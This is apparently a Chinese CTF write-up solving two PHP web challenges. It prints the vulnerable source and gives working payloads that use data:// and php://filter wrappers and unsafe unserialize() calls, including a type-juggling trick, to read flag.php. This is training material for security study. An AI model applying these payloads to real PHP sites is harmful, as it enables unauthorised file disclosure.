[ZJCTF 2019]NiZhuanSiWei
题目直接给出源代码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
需要传进三个参数 text,file,password。读第一个 if,传入 text 且读取 text 文件使其内容为 welcome to the zjctf
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
data 伪协议传参
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
(也可以 ?test=php://input,post 传入 welcome to the zjctf)
然后看接下来的代码,正则过滤了 flag 关键字,提示存在 useless.php 文件
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
使用 php://filter 协议读取
file=php://filter/read=convert.base64-encode/resource=useless.php
base64 解码后得到
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
file_get_contents 读取文件内容,再结合题目源代码 $password = unserialize($password); 存在反序列化漏洞,所以可以将 $file 赋值为 flag.php,序列化 Flag 类
<?php
class Flag{
public $file = 'flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$b = new Flag();
echo serialize($b);
?>
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终 payload 为,查看网页源代码得到 flag
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
[网鼎杯 2020 青龙组]AreUSerialz
还没到入职时间都要长蘑菇了,刷刷题吧
打开题目就是源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
审计代码,GET方式传入 str 字符串,is_valid() 函数使 str 的每一个字符 ascii 范围都在 32 到 125 之间(即字符串的每一个字符都是可打印的),然后对字符串执行反序列化操作
析构方法中,如果 op === "2" (强类型比较),那么就将 op 赋值为 "1",content 赋值为空,并执行 process() 函数
process() 函数中,如果op == "1"(弱类型比较),则进入 write() 函数,如果 op == "2",则进入 read() 函数,否则输出报错
所以只要令 op=2(整数int),op === "2" 为假,op == "2" 为真,即可进入 read() 函数。filename 是可以控制的,再使用 file_get_contents() 函数借助 php://filter 伪协议读取文件,获取到文件后使用 output() 函数输出
还有一个需要注意的地方是 $op,$filename,$content 三个变量权限都是 protected,而 protected 权限的变量在序列化的时会有 %00*%00 字符,%00字符的 ascii 码为0,就无法通过上面的 is_valid 函数校验,php7.1+ 版本对属性类型不敏感,所以本地序列化的时候将属性改为 public 即可绕过
<?php
class FileHandler {
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
payload 如下,打印出的结果再用 base64 解密即可得到 flag
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
参考文章:
https://www.cnblogs.com/Cl0ud/p/12874458.html